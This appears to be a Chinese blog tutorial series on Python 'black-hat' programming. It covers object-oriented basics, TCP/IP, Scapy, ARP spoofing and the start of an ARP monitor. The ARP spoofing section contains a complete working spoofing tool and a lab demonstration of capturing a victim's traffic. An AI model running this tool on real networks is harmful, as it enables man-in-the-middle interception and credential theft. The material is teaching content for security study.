我们将上面的代码保存为socket_thread.py,然后从终端启动，在启动多个终端使用telnet进行连接，连接之后发消息测试，结果如下：

图11

2.8.6 小结

本节我们学习了Python中socket的基本使用方法，并演示了基于TCP协议的客户端和服务端编程方法。这里大家需要额外补充的知识点是多线程的使用，我们做网络扫描、爬虫等程序，都是离不开多线程应用的。

下一节是第二章的最后一节，和大家聊一聊面向对象编程思想及Python的面向对象编程方法。

第2.9节《面向对象编程思想及Python的面向对象编程方法》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码
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Python黑帽编程2.9 面向对象编程

我个人认为，计算机语言的发展，有两个方向，一个是从低到高的发展过程，在这个过程中，语言的思考和解决问题的方式是面向硬件的。硬件本质上处理的是信号，在此基础上，我们给硬件赋予了一定的“逻辑思维”能力，为了方便硬件帮我们做事，抽象出了指令的概念，进而出现了汇编语言，然后有了Pascal和C这样的标准的结构化语言。语言一路向上发展，都是根植于指令的，根植于指令就意味着流程和数据代表了一切，数据的变化成为我们表达和抽象这个世界的根本。不可否认，宇宙间的一切，都是在不停的变化中，然而命运有数，变化有法，越是着眼于变化，我们越难逃脱宿命。

在冯诺依曼的体系成为权威之前或者之后这些年中，计算机科学思考都衍生于对数学的思考。数学家认为数学语言能完美的描述这个世界，基于数学的编程语言一出来就是贵族，然而纯粹数学语言是没法用的，因为我们的机器还太低级，于是另一个编程语言的发展方向，是从数学语言向机器语言的自顶向下的发展。这其中纯粹的函数式语言是这方面的代表，比如lisp，微软的F#则是“混血”的代表。

从机器的角度理解世界，还是纯数学的方式理解世界，都不能代表人的视角和思维方式。在二者相向发展中，有了很多交汇。计算机当然离理解人的思维方式还差的很远，除非把人变成计算单元。科学家们在这个方向上努力良久，在编程语言领域“面向对象”的思想和方法被广泛接受。事物是不断变化的，人类在变化中寻找相对静止的时空来思考世界，来描述世界，文字、绘画都是语言，都需要在静止中呈现。生命尊重并表现自我，认同个体，于是世间有了物的概念。在静止中，如果还只是思考数据，那么就是混沌，观察个体才有意义，才有血肉。世间万物，物就是对象。

所谓面向对象，就是把你眼中能认为或抽象出的独立事务描述清楚，首先它是个整体，然后我们再肢解它，最后在把它重新放到变化中观察行为。抽象的越彻底，我们越能发现很多事务的共性，于是有了分类。在变化中，物与物必然会产出影响，于是有了关系。

视角发生了变化，描述事物和行为的方式必然有了变化，产生了新的表达方法，新的技巧，同时也有了新的问题和挑战，当然会产生新的解决问题的方法，这些就是面向对象的基本方法，设计模式，架构经验，等等。

扯了这么多闲篇，下面我们进入Python的面向对象世界，当然不会细致入微，简单概述为主。

2.9.1  类与对象

在python中，我们使用class关键字来定义一类事物，类是一个抽象描述，并不是真正的存在，需要把它初始化才会产生一个真正的事物，我们称之为对象。在编程过程中，拥有行为和数据的是对象，而不是类。

下面我们声明一个简单的类：

#!/usr/bin/python
 
class Person:
    pass # An empty block
 
p = Person()
print p



我们使用class语句后跟类名，创建了一个新的类。这后面跟着一个缩进的语句块形成类体。在这个例子中，我们使用了一个空白块，它由pass语句表示。

接下来，我们使用类名后跟一对圆括号来创建一个对象/实例。为了验证，我们简单地打印了这个变量的类型。它告诉我们我们已经在__main__模块中有了一个Person类的实例。结果如下：

图2

你可能已经注意到存储对象的计算机内存地址也打印了出来。这个地址在你的计算机上会是另外一个值，因为Python可以在任何空位存储对象。

2.9.2 对象的方法

方法代表现实世界中的行为，简单示例如下：

class Person:
    def sayHi(self):
        print 'Hello, how are you?'
 
p = Person()
p.sayHi()



这里我们需要注意sayHi方法没有任何参数，但仍然在函数定义时有self，self代表对象本身，等价于C++中的self指针和Java、C#中的this引用。之后，我们通过对象名加点的方式来调用对象的方法。运行结果如下：

图3

2.9.3 构造函数

我们在使用类来构造一个对象的时候，通常在构造之初需要把对象本身的关键属性进行初始化。比如初始化一个人，如果我们认为年龄和名字是关键属性的话，我们在实例化这个人的时候，需要把相关属性的值传进来。上面我们知道初始化对象的时候是类名加括号的方式，实际上这个括号调用了一个内置的方法，我们称之为构造函数，正是该函数返回了被初始化的对象本身。

python的构造函数名为__init__，我们可以自定义传入参数的类型和个数。

#!/usr/bin/python
 
class Person:
    def __init__(self, name):
        self.name = name
    def sayHi(self):
        print 'Hello, my name is', self.name
 
p = Person('Swaroop')
p.sayHi()



这里，我们把__init__方法定义为取一个参数name（以及普通的参数self）。在这个__init__里，我们只是创建一个新的字段 name。最重要的是，我们没有专门调用__init__方法，只是在创建一个类的新实例的时候，把参数包括在圆括号内跟在类名后面，从而传递给__init__方法。

现在，我们能够在我们的方法中使用self.name变量。这在sayHi方法中得到了验证。

图4

2.9.4 变量

变量代表属性和数据。在python中变量有两种，类变量和对象变量。类变量是全局的，对每个对象都共享，对象的变量是实例化的，每个对象之间互不影响。下面我们通过一段代码来对比：

#!/usr/bin/python
 
class Person:
    '''Represents a person.'''
    population = 0
 
    def __init__(self, name):
        '''Initializes the person's data.'''
        self.name = name
        print '(Initializing %s)' % self.name
 
        # When this person is created, he/she
        # adds to the population
        Person.population += 1
 
    def __del__(self):
        '''I am dying.'''
        print '%s says bye.' % self.name
 
        Person.population -= 1
 
        if Person.population == 0:
            print 'I am the last one.'
        else:
            print 'There are still %d people left.' % Person.population
 
    def sayHi(self):
        '''Greeting by the person.
 
        Really, that's all it does.'''
        print 'Hi, my name is %s.' % self.name
 
    def howMany(self):
        '''Prints the current population.'''
        if Person.population == 1:
            print 'I am the only person here.'
        else:
            print 'We have %d persons here.' % Person.population
 
swaroop = Person('Swaroop')
swaroop.sayHi()
swaroop.howMany()
 
kalam = Person('Abdul Kalam')
kalam.sayHi()
kalam.howMany()
 
swaroop.sayHi()
swaroop.howMany()



这个例子略微有点长，但是它有助于说明类与对象的变量的本质。这里，population属于Person类，因此是一个类的变量。name变量属于对象（它使用self赋值）因此是对象的变量。

观察可以发现__init__方法用一个名字来初始化Person实例。在这个方法中，我们让population增加1，这是因为我们增加了一个人。同样可以发现，self.name的值根据每个对象指定，这表明了它作为对象的变量的本质。

在这个程序中，我们还看到docstring对于类和方法同样有用。我们可以在运行时使用Person.__doc__和Person.sayHi.__doc__来分别访问类与方法的文档字符串。

就如同__init__方法一样，还有一个特殊的方法__del__，它在对象消逝的时候被调用。对象消逝即对象不再被使用，它所占用的内存将返回给系统作它用。在这个方法里面，我们只是简单地把Person.population减1。

当对象不再被使用时，__del__方法运行，但是很难保证这个方法究竟在 什么时候 运行。如果你想要指明它的运行，你就得使用del语句，就如同我们在以前的例子中使用的那样。

这里需要注意的是：

l  Python中所有的类成员（包括数据成员）默认都是公有的。

l  如果你使用的数据成员名称以 双下划线前缀 比如__privatevar，Python的名称管理体系会有效地把它作为私有变量。

l  这样就有一个惯例，如果某个变量只想在类或对象中使用，就应该以单下划线前缀。而其他的名称都将作为公共的，可以被其他类/对象使用。记住这只是一个惯例，并不是Python所要求的（与双下划线前缀不同）。

l  同样，注意__del__方法与其他语言中析构函数的概念类似。

2.9.5 继承

继承这个概念，经常以父与子的关系来被阐述，我认为这阐述对初学者来说是一种误导。在人类社会中，父与子继承的是什么？是财产，实际是赠予。面向对象的继承，实际是不是从现实世界中来，而是为了解决面向对象编程的问题二产生的，要解决的是代码复用的问题。比如人类有许多共性，有鼻子，有眼睛。但是人类也是分亚种的，从肤色上划分人种，地理上划分人群。那么在定义黄种人和黑种人的时候，不可避免的要重新定义很多属性和行为，于是有了继承的概念，把公共的内容放到Person类里面，然后AsiaPerson 继承Person类，它自然就有了Person类定义的内容，这种思想，其实换个词可能更好理解——克隆。概念就不纠结了，理解就好，下面看代码：

#!/usr/bin/python
class SchoolMember:
    '''Represents any school member.'''
    def __init__(self, name, age):
        self.name = name
        self.age = age
        print '(Initialized SchoolMember: %s)' % self.name
 
    def tell(self):
        '''Tell my details.'''
        print 'Name:"%s" Age:"%s"' % (self.name, self.age),
 
class Teacher(SchoolMember):
    '''Represents a teacher.'''
    def __init__(self, name, age, salary):
        SchoolMember.__init__(self, name, age)
        self.salary = salary
        print '(Initialized Teacher: %s)' % self.name
 
    def tell(self):
        SchoolMember.tell(self)
        print 'Salary: "%d"' % self.salary
 
class Student(SchoolMember):
    '''Represents a student.'''
    def __init__(self, name, age, marks):
        SchoolMember.__init__(self, name, age)
        self.marks = marks
        print '(Initialized Student: %s)' % self.name
 
    def tell(self):
        SchoolMember.tell(self)
        print 'Marks: "%d"' % self.marks
 
t = Teacher('Mrs. Shrividya', 40, 30000)
s = Student('Swaroop', 22, 75)
 
print # prints a blank line
 
members = [t, s]
for member in members:
    member.tell() # works for both Teachers and Students



为了使用继承，我们把基类的名称作为一个元组跟在定义类时的类名称之后。然后，我们注意到基类的__init__方法专门使用self变量调用，这样我们就可以初始化对象的基类部分。这一点十分重要——Python不会自动调用基类的构造函数。调用基类的构造函数需要使用基类名进行调用，而且传入子类的self。

注意，在我们使用SchoolMember类的tell方法的时候，我们把Teacher和Student的实例仅仅作为SchoolMember的实例。

另外，在这个例子中，我们调用了子类型的tell方法，而不是SchoolMember类的tell方法。可以这样来理解，Python总是首先查找对应类型的方法，在这个例子中就是如此。如果它不能在导出类中找到对应的方法，它才开始到基本类中逐个查找。

python支持多继承，可以同时继承多个基类。

2.9.6 小结

Python是一个高度面向对象的语言，我们只是过了一些基本概念，万物皆对象的理念，也让高级的python编程变得更加有趣。

下一节开始，我们进入黑帽编程的阶段，先来讨论主机到网络层典型攻击。

第3.0节《网络接口层攻击基础知识》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“网络安全”—>”Python黑帽编程”进入即可。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码
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3.0 第三章 网络接口层攻击基础知识

首先还是要提醒各位同学，在学习本章之前，请认真的学习TCP/IP体系结构的相关知识，本系列教程在这方面只会浅尝辄止。

本节简单概述下OSI七层模型和TCP/IP四层模型之间的对应关系，最后是本章教程需要的几个核心Python模块。

3.0.1 TCP/IP分层模型

国际标准化组织（ISO）在1978年提出了“开放系统互联参考模型”，即著名的OSI/RM模型（Open System Interconnection/Reference Model）。它将计算机网络体系结构的通信协议划分为七层，自下而上依次为：物理层（Physics Layer）、数据链路层（Data Link Layer）、网络层（Network Layer）、传输层（Transport Layer）、会话层（Session Layer）、表示层（Presentation Layer）、应用层（Application Layer）。其中第四层完成数据传送服务，上面三层面向用户。

除了标准的OSI七层模型以外，常见的网络层次划分还有TCP/IP四层协议以及TCP/IP五层协议，它们之间的对应关系如下图所示：

图2

四层模型和五层是现实世界中真实存在的，本系列教程遵循4层模型来写作。本章内容集中在网络接口层，实际对应到5层的数据链路层，因为硬件本身不是我们要关心的内容。之后的各章，都会出现这张图，希望引起你的重视。

3.0.2 数据链路层

  在TCP/IP协议族中，数据链路层主要有三个目的：

          1）为IP模块发送和接收数据

          2）为ARP模块发送ARP请求和接收ARP应答

          3）为RARP模块发送RARP请求和接收RARP应答

这里需要强调一点的是，arp和rarp协议我们将其划分在数据链路层，如果你把它当成网络层协议也无所谓，希望读者不要在这个问题上争论。提到数据传输，必须要谈我们的网络环境，就我本人目前能接触到的网络基本都是以太网。

以太网(Ether-net)是指 DEC 公司、Intel 公司和 Xerox 公司在 1982 年联合公布的一个标准，这个标准里面使用了一种称作 CSMA/CD 的接入方法。而 IEEE802 提供的标准集 802.3(还有一部分定义到了 802.2 中)也提供了一个 CSMA/CD 的标准。

这两个标准稍有不同，因此链路层数据帧的的封装格式也有所不同（数据帧中的地址为MAC 地址）：

图3

3.0.3 SCAPY

Scapy的是一个强大的交互式数据包处理程序（使用python编写）。它能够伪造或者解码大量的网络协议数据包，能够发送、捕捉、匹配请求和回复包等等。它可以很容易地处理一些典型操作，比如端口扫描，tracerouting，探测，单元 测试，攻击或网络发现（可替代hping，NMAP，arpspoof，ARP-SK，arping，tcpdump，tethereal，P0F等）。 最重要的他还有很多更优秀的特性——发送无效数据帧、注入修改的802.11数据帧、在WEP上解码加密通道（VOIP）、ARP缓存攻击（VLAN） 等，这也是其他工具无法处理完成的。

scapy在kali linux 2.0 中默认已经被安装，如果你的系统中没有需要手动安装一下，下面是软件包安装的简单说明。

  使用pip安装scapy。

root@kali:/home/pycharm# pip install scapy

图4

Scapy可以单独使用，也可以在python中调用。

了解Scapy的基本使用和支持的方法，首先我们从终端启动scapy，进入交互模式。

图5

ls()显示scapy支持的所有协议。

ls()函数的参数还可以是上面支持的协议中的任意一个的类型属性，也可以是任何一个具体的数据包，如ls(TCP),ls(newpacket)等。

lsc()列出scapy支持的所有的命令。

conf：显示所有的配置信息。conf变量保存了scapy的配置信息。

help()显示某一命令的使用帮助，如help(sniff)。

show()显示指定数据包的详细信息。例如，这里我们先创建一个IP数据包，然后调用show方法。

sprintf()输出某一层某个参数的取值，如果不存在就输出”??”，具体的format格式是:%[[fmt][r],][layer[:nb].]field%，详细的使用参考<Security Power Tools>的146页。

%[[fmt][r],][layer[:nb].]field%

layer:协议层的名字，如Ether、IP、Dot11、TCP等。

filed:需要显示的参数。

nb:当有两个协议层有相同的参数名时，nb用于到达你想要的协议层。

r:是一个标志。当使用r标志时，意味着显示的是参数的原始值。例如，TCP标志中使用人类可阅读的字符串’SA’表示SYN和ACK标志，而其原始值是18.

我之前发过一篇文章《Python网络数据监听和过滤》，讲了python中数据包解析，Scapy数据监听的用法，大家可以作为参考。

3.0.4 小结

需要准备的基础知识不能全面罗列，你需要学习的内容和你个人目前的积累有关。希望各位同学不要放弃对基础知识的学习。

第3.1节《ARP欺骗》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“专栏”—>”Python黑帽编程”进入即可。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

 点击打开二维码

玄魂工作室，精彩不断


Python黑帽编程 3.1 ARP欺骗

ARP欺骗是一种在局域网中常用的攻击手段，目的是让局域网中指定的（或全部）的目标机器的数据包都通过攻击者主机进行转发，是实现中间人攻击的常用手段，从而实现数据监听、篡改、重放、钓鱼等攻击方式。

在进行ARP欺骗的编码实验之前，我们有必要了解下ARP和ARP欺骗的原理。

3.1.1 ARP和ARP欺骗原理

ARP是地址转换协议（Address Resolution Protocol）的英文缩写，它是一个链路层协议，工作在OSI 模型的第二层，在本层和硬件接口间进行联系，同时对上层（网络层）提供服务。我们知道二层的以太网交换设备并不能识别32位的IP地址，它们是以48位以太网地址（就是我们常说的MAC地址）传输以太网数据包的。也就是说IP数据包在局域网内部传输时并不是靠IP地址而是靠MAC地址来识别目标的，因此IP地址与MAC地址之间就必须存在一种对应关系，而ARP协议就是用来确定这种对应关系的协议。

ARP工作时，首先请求主机会发送出一个含有所希望到达的IP地址的以太网广播数据包，然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样请求主机就能获得要到达的IP地址对应的MAC地址，同时请求主机会将这个地址对放入自己的ARP表缓存起来，以节约不必要的ARP通信。ARP缓存表采用了老化机制，在一段时间内如果表中的某一行没有使用，就会被删除。

局域网上的一台主机，如果接收到一个ARP报文，即使该报文不是该主机所发送的ARP请求的应答报文，该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。

ARP欺骗攻击就利用了这点，攻击者主动发送ARP报文，发送者的MAC地址为攻击者主机的MAC地址，发送者的IP地址为被攻击主机的IP地址。通过不断发送这些伪造的ARP报文，让局域网上所有的主机和网关ARP表，其对应的MAC地址均为攻击者的MAC地址，这样所有的网络流量都会发送给攻击者主机。由于ARP欺骗攻击导致了主机和网关的ARP表的不正确，这种情况我们也称为ARP中毒。

根据ARP欺骗者与被欺骗者之间的角色关系的不同，通常可以把ARP欺骗攻击分为如下两种：

1.        主机型ARP欺骗：欺骗者主机冒充网关设备对其他主机进行欺骗

2.        网关型ARP欺骗：欺骗者主机冒充其他主机对网关设备进行欺骗

图2

其实很多时候，我们都是进行双向欺骗，既欺骗主机又欺骗网关。

了解了基本原理之后，我们下面动手实现ARP欺骗程序。

3.1.2 基本网络信息

首先，我们来查看下当前虚拟机Kali Linux的网络配置和ARP缓存。

图3

如图5所示，Kali Linux 以太网卡为eth0，ip地址为192.168.1.102，MAC地址为00:0c:29:6e:98:a6。下面我们再查看Kali Linux的ARP缓存。

图4

下面再用同样的方法查看Windows 系统的信息。

图5

windows本身地址为192.168.1.18，同样缓存了路由器的地址。

下面我们将windows所在主机作为靶机，将Kali Linux所在虚拟机作为攻击机，进行编程测试。

3.1.3 构造ARP欺骗数据包

我们先完成第一个目标，告诉目标主机192.168.1.18网关的地址为Kali Linux所在主机的地址：192.168.1.102。

在程序的顶部，我们先导入scapy。

import sys
import time
from scapy.all import (
    get_if_hwaddr,
    getmacbyip,
    ARP,
    Ether,
    sendp
)



注意这里面的几个方法，get_if_hwaddr为获取本机网络接口的函数，getmacbyip是通过ip地址获取其Mac地址的方法，ARP是构建ARP数据包的类，Ether用来构建以太网数据包，sendp方法在第二层发送数据包。

我们先解下Ether的参数：

图6

dst        : DestMACField              = (None)
src        : SourceMACField            = (None)
type       : XShortEnumField           = (36864)



构造一个以太网数据包通常需要指定目标和源MAC地址，如果不指定，默认发出的就是广播包，例如：

图7

再来了解下ARP类构造函数的参数列表：

图8

hwtype     : XShortField               = (1)
ptype      : XShortEnumField           = (2048)
hwlen      : ByteField                 = (6)
plen       : ByteField                 = (4)
op         : ShortEnumField            = (1)
hwsrc      : ARPSourceMACField         = (None)
psrc       : SourceIPField             = (None)
hwdst      : MACField                  = ('00:00:00:00:00:00')
pdst       : IPField                   = ('0.0.0.0')



构造ARP需要我们注意的有5个参数：

l  op。取值为1或者2，代表ARP请求或者响应包。
l  hwsrc。发送方Mac地址。
l  psrc。发送方IP地址。
l  hwdst。目标Mac地址。
l  pdst。目标IP地址。


定向欺骗

现在来构造数据包就很容易了，回到我们最初的目标，我们想告诉192.168.1.23这台主机网关地址为192.168.1.102所在的主机，构造的数据包应该是这样的：

pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 网关IP地址,hwdst=1.18MAC, pdst=1.18IP地址, op=2)



上面的代码我们不论是以太网数据包还是ARP数据包，我们都明确指定了来源和目标，在ARP数据包中，我们将Kali Linux的Mac地址和网关的IP地址进行了绑定，op取值为2，作为一个响应包被1. 18接到，这样1. 18会更新自己的ARP缓存表，造成中毒，从而1. 18发往网关的数据包都会被发往1.102。

那么我们如果要欺骗网关，把网关发往1.18的数据包都发送到Kali Linux（1.102）上，根据上面的代码稍作修改即可：

pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC,pdst=网关IP地址, op=2)



上面构造的两个数据包都是ARP响应包，其实发送请求包也可以进行毒化，请求包毒化的原理是，我们请求时候使用假的源IP和MAC地址，目标主机同样会更新自己的路由表。

ARP请求的方式欺骗主机，构造的ARP包如下：

pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1)



ARP请求的方式欺骗网关，构造的ARP包如下：

pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC,pdst=网关IP地址, op=1)



我们看到构造ARP请求和响应的主要区别在op的值。

目前我们欺骗的方式都是一对一欺骗的，事实上我们可以发送广播包，对所有主机进行欺骗。

广播欺骗

广播欺骗，首先以太网数据包直接构造一个广播包，ARP包不用填写目标主机的信息即可。

下面是ARP广播响应包的构造方式：

pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)



最后综合定下和广播欺骗的方式，我们总结一个公式出来：

pkt = Ether(src=攻击机MAC, dst=被欺骗主机（或网关）MAC) / ARP((hwsrc=毒化记录中的MAC, 毒化记录中的IP, hwdst=被欺骗主机MAC, pdst=被欺骗主机IP地址, op=1（或2）)

概念有点绕，实践出真知。

3.1.4 发送数据包

数据包构造完成之后，我们要做的就是发送了，发送数据包这里我们使用sendp方法，该方法描述如下：

    Send packets at layer 2
    sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None



和sendp方法类似的还有一个send方法，两个方法不同的是，sendp方法工作在第二层，send方法工作在第三层。发送构造好的数据包就很简单了：

  sendp(pkt, inter=2, iface=网卡)



3.1.5 打造你的ARPSPOOF

ARP欺骗的核心内容我们已经讲完了，在Kali Linux上有一款常用的ARP欺骗工具叫arpspoof。

图9

（关于arpspoof的使用可以参考我的视频教程《kali linux 渗透测试初级教程》，文末有获取方法。）

虽然我们不知道arpspoof的内部实现代码，但是我们完全可以根据目前掌握的知识，用Python来实现它。废话少说，先上代码：

#!/usr/bin/python
 
import os
import sys
import signal
 
from scapy.all import (
    get_if_hwaddr,
    getmacbyip,
    ARP,
    Ether,
    sendp
)
from optparse import OptionParser
 
def main():
    try:
        if os.geteuid() != 0:
            print "[-] Run me as root"
            sys.exit(1)
    except Exception,msg:
        print msg
 
    usage = 'Usage: %prog [-i interface] [-t target] host'
    parser = OptionParser(usage)
    parser.add_option('-i', dest='interface', help='Specify the interface to use')
    parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
    parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
    parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
    (options, args) = parser.parse_args()
 
    if len(args) != 1 or options.interface is None:
        parser.print_help()
        sys.exit(0)
 
    mac = get_if_hwaddr(options.interface)
 
    def build_req():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print "[-] Error: Could not resolve targets MAC address"
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
 
        return pkt
 
    def build_rep():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print "[-] Error: Could not resolve targets MAC address"
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
 
        return pkt
 
    if options.mode == 'req':
        pkt = build_req()
    elif options.mode == 'rep':
        pkt = build_rep()
 
    if options.summary is True:
        pkt.show()
        ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
        if ans == 'y' or len(ans) == 0:
            pass
        else:
            sys.exit(0)
 
    while True:
        sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
    main()



代码略微有一点多，不过核心内容没有离开我们上面讲到的内容，现在做个分解。

usage = 'Usage: %prog [-i interface] [-t target] host'
    parser = OptionParser(usage)
    parser.add_option('-i', dest='interface', help='Specify the interface to use')
    parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
    parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
    parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
    (options, args) = parser.parse_args()
 
    if len(args) != 1 or options.interface is None:
        parser.print_help()
        sys.exit(0)



首先，我们引入了optparse模块，用来格式化用户输入的参数，如果用户输入参数不正确，会打印使用说明。

图10

下面调用了get_if_hwaddr方法，根据参数中传入的网卡，获取本机MAC地址，该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。

接下来是build_req方法，和build_rep方法，分别用来构建ARP请求和响应包。两个方法会检查是否指定了目标地址，如果没有就是广播欺骗，如果有就是定下欺骗。两个方法里面使用了getmacbyip方法来根据ip地址获取目标主机的MAC地址。构建数据包的原理我们上面讲的很清楚了，这里就不重复了。

再往下是根据输入的参数，判断应该构建的数据包类型，调用对应的方法。

if options.mode == 'req':
        pkt = build_req()
    elif options.mode == 'rep':
        pkt = build_rep()
 
    if options.summary is True:
        pkt.show()
        ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
        if ans == 'y' or len(ans) == 0:
            pass
        else:
            sys.exit(0)



最后是发送数据包和程序的入口。

   while True:
        sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
    main()



程序准备妥当，我们保存源码，下面开始测试。

3.1.6 测试

在做ARP欺骗测试的时候，一定要先开启本机的IP转发功能，否则会失败的。执行如下命令：

sysctl net.ipv4.ip_forward=1

图11

下面我们打开终端，对192.168.1.18进行欺骗，告诉它网关为192.168.1.102所在的主机。

图12

在打开一个终端，对网关进行欺骗，告诉网关，192.168.1.18对应的主机为192.168.1.102.

python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18



一段时间之后，我们发现，192.168.1.18的arp缓存发生了变化：

图13

对比图13和图5我们知道arp毒化成功。下面我们来看一下能发捕获到1.18的外网请求信息，使用常用的测试工具driftnet。

图14

下面在1.18上随便打开几个带有图片的网页。

图15

在drifnet上面我们可以看到捕获的图片信息，如图16所示。

图16

证明我们的arp欺骗程序编写成功。

3.1.7 在此基础上我们能做什么

上面的测试，我们知道基于ARP欺骗我们可以做数据监听，能拿到敏感信息，能拿到凭证进行重放攻击，能进行数据篡改，结合调用和DNS欺骗做很多事情。

关于进一步的实战利用，这里我就不展开了，在我的视频教程《Kali Linux web渗透测试基础教程》的第十四课《第14课-arp欺骗、嗅探、dns欺骗、session劫持》讲了很多实用的工具，可以在ARP欺骗的基础上做很多测试。只要在玄魂工作室的微信订阅号(在下方扫码关注)下回复“kali”，会自动回复你免费获取整套教程的方法。

3.1.8 小结

本节比较详细的讲解了基于Scapy进行ARP数据包构建和发送的基础知识，综合这些基础进行ARP欺骗的工具编写，最终完成了一个可用的ARP欺骗工具。

下一节，基于本节的知识，我们编写一个ARP监控工具，来对网络上主机的ARP请求做动态的回应。

第3.2节《ARP监控》已经在微信订阅号抢先发布，心急的同学进入订阅号（二维码在下方），从菜单“专栏”—>”Python黑帽编程”进入即可。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

 点击打开二维码

玄魂工作室-精彩不断


Python黑帽编程 3.2 ARP监控

在第3.1节《ARP欺骗》中，我们学习了ARP的基本原理，使用Python实现了我们自己的ARP欺骗工具。在上一节的基础上，我们来实现一个ARP监控程序，该程序存储局域网中所有的IP和MAC对应关系，如果有新加入的机器会动态添加到列表中，如果有机器的ARP记录发生了变化，会发出警告。

实现这个程序的关键，只有一点，就是监听网络中ARP数据包。Scapy中的sniff方法可以满足我们对ARP监听的需求。

3.2.1 SNIFF方法

sniff方法是用来嗅探数据的，我们首先使用help查看一下此方法的使用说明：

图2

sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, *arg, **karg)
    Sniff packets
    sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets
   
      count: number of packets to capture. 0 means infinity
      store: wether to store sniffed packets or discard them
        prn: function to apply to each packet. If something is returned,
             it is displayed. Ex:
             ex: prn = lambda x: x.summary()
    lfilter: python function applied to each packet to determine
             if further action may be done
             ex: lfilter = lambda x: x.haslayer(Padding)
    offline: pcap file to read packets from, instead of sniffing them
    timeout: stop sniffing after a given time (default: None)
    L2socket: use the provided L2socket
    opened_socket: provide an object ready to use .recv() on
    stop_filter: python function applied to each packet to determine
                 if we have to stop the capture after this packet
                 ex: stop_filter = lambda x: x.haslayer(TCP)



sniff()函数有一个重要的参数是filter，用来表示想要捕获数据包类型的过滤器，如只捕获ICMP数据包，则filter=”ICMP”;只捕获80端口的TCP数据包，则filter=”TCP and (port 80)”。其他几个重要的参数有：count表示需要不活的数据包的个数；prn表示每个数据包处理的函数，可以是lambda表达式，如prn=lambda x:x.summary()；timeout表示数据包捕获的超时时间。

sniff(filter="icmp and host 66.35.250.151", count=2)

这段代码过滤icmp协议，host地址为66.35.250.151，捕获数据包个数为2个。

sniff(iface="wifi0", prn=lambda x: x.summary())

这段代码绑定网卡wifi0，对捕获的数据包使用summary进行数据汇总。

sniff(iface="eth1", prn=lambda x: x.show())

这段代码绑定网卡eth1，对数据包调用show方法，显示基本信息。

如何使用sniff方法过滤ARP请求呢？看下面的代码：

图3

#!/usr/bin/python
 
from scapy import sniff,ARP
 
def watchArp(pkg):
    pass
 
sniff(prn=watchArp,filter="arp",iface="eth0",store=0);



这段代码先定义了一个空的watchArp方法，接收一个数据包对象，稍后我们会扩展该方法，用来提取数据包中的关键信息。接下来一行调用sniff方法，prn参数为watchArp方法，sniff会把捕获的数据包传递给该方法；filter我们指定了arp；iface是指定要监听的网卡为“eth0”；store设置为0，不存储数据包。

数据包捕获就这样完成了，是不是体会到scapy的便捷性了呢？下面我们对捕获的数据包进行处理。

3.2.2 解析数据包

首先我们定义一个字典变量，用来存储ip和MAC的对应关系。

ip_mac = {}



然后，我们完善watchArp方法。

图4

首先对ARP包做类型判断。

   if pkt[ARP].op == 2:
        print pkt[ARP].hwsrc + " " + pkt[ARP].psrc



如果是ARP响应包，打印MAC地址和ip地址。紧接着判断ip地址是否存储过。

if ip_mac.get(pkt[ARP].psrc) == None:
        print "Found new device " + \
        pkt[ARP].hwsrc + " " + \
        pkt[ARP].psrc
